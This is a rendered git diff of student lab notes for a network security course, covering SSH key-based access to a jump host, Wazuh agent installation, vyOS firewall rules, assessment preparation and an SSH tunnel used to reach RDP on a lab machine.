- Adjust the firewall rules from LAN-TO-DMZ such that mgmt01 can ssh into any server on the DMZ.
|
||||
|
||||
|
||||
- Make sure that fw01 is only listening for SSH on the LAN interface (172.16.150.2) and not on all interfaces (0.0.0.0/0)
|
||||
|
||||
|
||||
sudo systemctl restart ssh
|
||||
|
||||
|
||||
|
||||
On rw01, create a dedicated keypair that will only be used for ssh access to jump. make sure to name the keypair something other than the default and add a comment indicating its purpose. Make sure to add a passphrase when prompted.
|
||||
|
||||
```
|
||||
ssh-keygen -t rsa -b 4096 -C "ssh to jump"
|
||||
name of file: jump-charlotte
|
||||
```
|
||||
(this is a public key! it's okay to share, unlike private keys)
|
||||
```
|
||||
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDLLKDg5fIw8CINt5IOY3vZ6XiudxKn0sXZ1hTWbugfKQ9NZjfSCbboxIlVpyqAwnFzf+3oJcPpnlVLjXpugJe6ghfuLsO/1fdqFQ5/PBcQbJXFvdIH93MJ78sBUhT+SbhHLas6KjShSOhNz5fRYOMOTpCtB7eQhk5q3gqTEvmDejgWZPphyAQJCnB0hw+J76jl3t68Q+FtD57RWhWhp/0ZQPfjY+hnJOfLaD+Zs0tsxvYXqDuPhRt2J2xUHF8LgaqZYkosIllfcX//tmEnQ90nU+zLu3jje8Pqy4mfjGsV8wZ+ug7ModwJwR2ToieqoiyOnDq1ytG0r5sKjeM5RTX6tJTOl8ltr7E51u0bajjym0ZL4kT0W82Eld/DV4+BzbEB6yCSWWVwo/eKoqkGBIHpIibzkjPGCQ4O0tq3s+04DpOpucDqk0J+Yphdj/qmK/mYFLU0xKZnIJl8otyItyVhV2zTIn64PQ3gEE8z0O4GjEJEfhkJ29ydtXXDFIpCfSirmfH7HbXlwgUmxHJqnCBqZ8eKb/n52ekaD0SIOPQE76RmR540cus3mvo3t30Ak79NBSjEh82k2rP42eVx/GhF/o3u8DdCF3xA46dzqt1HMvOpnOjdvbldP076VKkxV/px9nE7mJZysxei8SisrSbwn7vxLem4LrDsAIxfsGcULw== ssh to jump
|
||||
```
|
||||
|
||||
|
||||
create a passwordless user called `charlotte-jump` on jump. Copy over the public component of the jump keypair you just created on rw01 to the new user's `.ssh/authorized_keys` file.
|
||||
|
||||
```
|
||||
useradd -m -d /home/charlotte-jump -s /bin/bash charlotte-jump
|
||||
sudo sed -i 's/PasswordAuthentication.*/PasswordAuthentication no/' /etc/ssh/sshd_config
|
||||
|
||||
# create .ssh directory, give perms to user
|
||||
mkdir -p /home/charlotte-jump/.ssh
|
||||
chmod 700 /home/charlotte-jump/.ssh
|
||||
|
||||
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDLLKDg5fIw8CINt5IOY3vZ6XiudxKn0sXZ1hTWbugfKQ9NZjfSCbboxIlVpyqAwnFzf+3oJcPpnlVLjXpugJe6ghfuLsO/1fdqFQ5/PBcQbJXFvdIH93MJ78sBUhT+SbhHLas6KjShSOhNz5fRYOMOTpCtB7eQhk5q3gqTEvmDejgWZPphyAQJCnB0hw+J76jl3t68Q+FtD57RWhWhp/0ZQPfjY+hnJOfLaD+Zs0tsxvYXqDuPhRt2J2xUHF8LgaqZYkosIllfcX//tmEnQ90nU+zLu3jje8Pqy4mfjGsV8wZ+ug7ModwJwR2ToieqoiyOnDq1ytG0r5sKjeM5RTX6tJTOl8ltr7E51u0bajjym0ZL4kT0W82Eld/DV4+BzbEB6yCSWWVwo/eKoqkGBIHpIibzkjPGCQ4O0tq3s+04DpOpucDqk0J+Yphdj/qmK/mYFLU0xKZnIJl8otyItyVhV2zTIn64PQ3gEE8z0O4GjEJEfhkJ29ydtXXDFIpCfSirmfH7HbXlwgUmxHJqnCBqZ8eKb/n52ekaD0SIOPQE76RmR540cus3mvo3t30Ak79NBSjEh82k2rP42eVx/GhF/o3u8DdCF3xA46dzqt1HMvOpnOjdvbldP076VKkxV/px9nE7mJZysxei8SisrSbwn7vxLem4LrDsAIxfsGcULw== ssh to jump" >> /home/charlotte-jump/.ssh/authorized_keys
|
||||
|
||||
# set perms, set new user as directory owner
|
||||
chmod 600 /home/charlotte-jump/.ssh/authorized_keys
|
||||
chown -R charlotte-jump:charlotte-jump /home/charlotte-jump/.ssh
|
||||
|
||||
systemctl restart sshd
|
||||
```
|
||||
|
||||
## install wazuh agent on jump
|
||||
on mgmt01
|
||||
```
|
||||
wget https://packages.wazuh.com/4.x/yum/wazuh-agent-4.7.3-1.x86_64.rpm
|
||||
scp wazuh-agent-4.7.3-1.x86_64.rpm charlotte@172.16.50.4:~
|
||||
```
|
||||
|
||||
on jump
|
||||
```
|
||||
scp wazuh-agent-4.7.3-1.x86_64.rpm charlotte@172.16.50.4:~
|
||||
sudo WAZUH_MANAGER='172.16.200.10' WAZUH_AGENT_GROUP='linux' WAZUH_AGENT_NAME='jump-charlotte' rpm -ihv wazuh-agent-4.7.3-1.x86_64.rpm
|
||||
sudo systemctl daemon-reload
|
||||
sudo systemctl enable wazuh-agent
|
||||
sudo systemctl start wazuh-agent
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,79 @@
|
|||
# Lab 7.1 Assessment Prep
|
||||
Several systems in your current environment will be removed the day before the assessment (3/27), first thing in the morning.
|
||||
- **rw01** -> **traveler**
|
||||
- **fw01** -> **edge01**
|
||||
- **web01** -> **nginx01**
|
||||
|
||||
```
|
||||
You are on your own for the assessment.
|
||||
Open notes and internet, just no open neighbor.
|
||||
This is really a test of your notes.
|
||||
You will be getting new VM's.
|
||||
Don't be late, as you will likely need the full time.
|
||||
```
|
||||
|
||||
## fw01 configuration Backup
|
||||
- **edge01**: (this new firewall will be very close in configuration).
|
||||
- You might also consult your the example week 4 configurations [here](../configs/fw01/fw01.config.week04.txt)
|
||||
|
||||
- Provide the raw commands necessary to reconstitute your firewall: (Remember, there may be some adjustments in IP addresses and rules for your internal systems.)
|
||||
|
||||
|
||||
## Assessment Description
|
||||
For the assessment, you will be given a 3 zone network to configure that consists of:
|
||||
- **traveler**. A WAN based road warrior user running Windows 10. (this replaces the linux rw01)
|
||||
- **edge01**. A vyOS Firewall with three interfaces (WAN, DMZ, LAN). You will need to add an interface using vCenter. (this replaces fw01)
|
||||
- **nginx01**. A DMZ based nginx web server running Ubuntu (this replaces web01 and apache)
|
||||
- **dhcp01**. A LAN based dhcp server running Ubuntu
|
||||
|
||||
## Requirements
|
||||
- All systems should have an accurate hostname.
|
||||
- All Linux systems should have a named sudo or administrator user.
|
||||
- The two new ubuntu systems do not have a host firewall enabled, this is ok (for now)
|
||||
- wks1, mgmt01 should be able to surf the internet.
|
||||
- wks1, mgmt01 should be able to navigate to nginx01
|
||||
- mgmt01 should be able to ssh to nginx01
|
||||
- nginx01 and dhcp01 should have wazuh agents installed and be able to connect to wazuh
|
||||
- nginx01 should have a custom web page (practice this on jump)
|
||||
- traveler should be able to get to nginx01's custom test page by navigating to edge01's WAN IP address.
|
||||
- traveler should be able to perform ssh keybased authentication with jump. Traveler is a Windows box, but ssh on powershell is nearly exactly the same as linux to include key generation. You will need to add a new public key to authorized_keys.
|
||||
- dhcp01 should serve a pool of dhcp addresses to the LAN from .100 to .150.
|
||||
- WKS1 should use dhcp addressing
|
||||
|
||||
## Hints
|
||||
- You do not need to work serially through this assessment, it is the end result that matters. If you are waiting for a reboot on traveler, then start configuring your other servers.
|
||||
- Get all communications working BEFORE creating zones and locking down the firewalls. It's terribly difficult to debug both services and network firewalls at the same time.
|
||||
- Make sure to link your firewalls to the appropriate From and To zones.
|
||||
- Make sure you have the correct netmask on all Linux systems.
|
||||
- Restart any service if you touch a configuration file (network, nginx, rsyslog, etc…).
|
||||
- Make sure you include the appropriate vsphere label on all deliverables where your name is not obvious in the console.
|
||||
- Check every VM's network settings to make sure they are on the correct segment.
|
||||
- Don't forget to look at `/var/log/messages` to debug firewall issues.
|
||||
- Do not try to use the default gateway address 10.0.17.2 as your WAN interface IP address as this will cause problems for other students and might be embarrassing.
|
||||
|
||||
|
||||
## Nginx Web Server
|
||||
Practice this on jump (it is an ubuntu box).
|
||||
|
||||
|
||||
## Ubuntu DHCP Server
|
||||
You can also practice this on jump, just move it to LAN, change the IP to something else and see if you can get wks01 to use dhcp services for IP, Netmask, Gateway and DNS settings. Make sure to reset wks01 to static.
|
||||
|
||||
## Traveler is a Windows System
|
||||
You should research how to create a keypair using powershell or putty and make sure you can adjust jumps authorized_keys file to use your new windows public key.
|
||||
|
||||
## Deliverable 3. Practice this on either mgmt02 or wks01. Figure out how to create a keypair using either powershell or PuTTY, transfer the public portion to one of your linux systems and demonstrate a passwordless login from windows to a linux system.
|
||||
|
||||
## Clearing the firewall configuration
|
||||
You should rehearse vyos commands by clearing your current configuration. The following commands will do that. Note, this configuration will likely have the vyos/vyos password combination because that is what it ships with.
|
||||
|
||||
```
|
||||
configure
|
||||
load /opt/vyatta/etc/config.boot.default
|
||||
commit
|
||||
save
|
||||
|
||||
# to save and load a backup config file
|
||||
save backup_1
|
||||
load /config/backup_1
|
||||
```
|
||||
50
net-sec-controls-sec350/labs/week09/lab9.1-AdHocVPN.md
Normal file
50
net-sec-controls-sec350/labs/week09/lab9.1-AdHocVPN.md
Normal file
|
|
@ -0,0 +1,50 @@
|
|||
# Lab 9.1 - Ad Hoc VPN with SSH
|
||||
SSH allows you to create a remote port forwarding tunnel such that connections to a local port on traveler will traverse an ssh tunnel from traveler to jump and then be forwarded to a system of your choice, say mgmt02.
|
||||
|
||||
- Enable RDP on mgmt02
|
||||
- Create a named local administrator account (charlotte) if not done so already
|
||||
- Create the DMZ-to-LAN and LAN-to-MGMT rules necessary for RDP to connect to mgmt02
|
||||
```
|
||||
# on edge-02
|
||||
set firewall name DMZ-to-LAN rule 40 action 'accept'
|
||||
set firewall name DMZ-to-LAN rule 40 description 'jump to RDP'
|
||||
set firewall name DMZ-to-LAN rule 40 destination address '172.16.200.11'
|
||||
set firewall name DMZ-to-LAN rule 40 destination port '3389'
|
||||
set firewall name DMZ-to-LAN rule 40 protocol 'tcp'
|
||||
|
||||
# on fw-mgmt
|
||||
set firewall name LAN-to-MGMT rule 40 action 'accept'
|
||||
set firewall name LAN-to-MGMT rule 40 description 'jump to RDP'
|
||||
set firewall name LAN-to-MGMT rule 40 destination address '172.16.200.11'
|
||||
set firewall name LAN-to-MGMT rule 40 destination port '3389'
|
||||
set firewall name LAN-to-MGMT rule 40 protocol 'tcp'
|
||||
```
|
||||
|
||||
source: https://www.cloudthat.com/resources/blog/a-guide-to-access-rdp-through-ssh-tunneling-using-putty
|
||||
## Invoke an SSH connection from traveler to jump such that RDP connections in that tunnel are redirected to mgmt02.
|
||||
### Step 1: Configure PuTTY for SSH Tunneling
|
||||
- Launch PuTTY on your source Windows machine
|
||||
- In the "Session" category:
|
||||
- Enter the IP of jump box[actually the firewall interface -PF] (10.0.17.151)
|
||||
- Keep port 22 / SSH
|
||||
- Optionally save your session configuration
|
||||
|
||||
### Step 2: Set Up the SSH Tunnel for RDP
|
||||
- In the PuTTY Configuration window, navigate to Connection > SSH > Tunnels
|
||||
- Configure the tunnel with:
|
||||
- Source port: 3390 (or any unused local port)
|
||||
- Destination: 172.16.200.11:3389 (mgmt02)
|
||||
- Select "Local" and "Auto" options
|
||||
- Click "Add" to create the tunnel
|
||||
|
||||
### Step 3: Connect to the Jump Box
|
||||
- Return to the "Session" category
|
||||
- save your configuration
|
||||
- Click "Open" to connect to the Linux jump box/ enter jump box creds
|
||||
|
||||
### Step 4: Connect via RDP Through the Tunnel
|
||||
- With the SSH connection active, open Remote Desktop Connection on your source Windows machine
|
||||
- In the "Computer" field, enter: localhost:3390
|
||||
- Click "Connect" and enter credentials for the destination Windows machine
|
||||
|
||||
|
||||
Loading…
Add table
Add a link
Reference in a new issue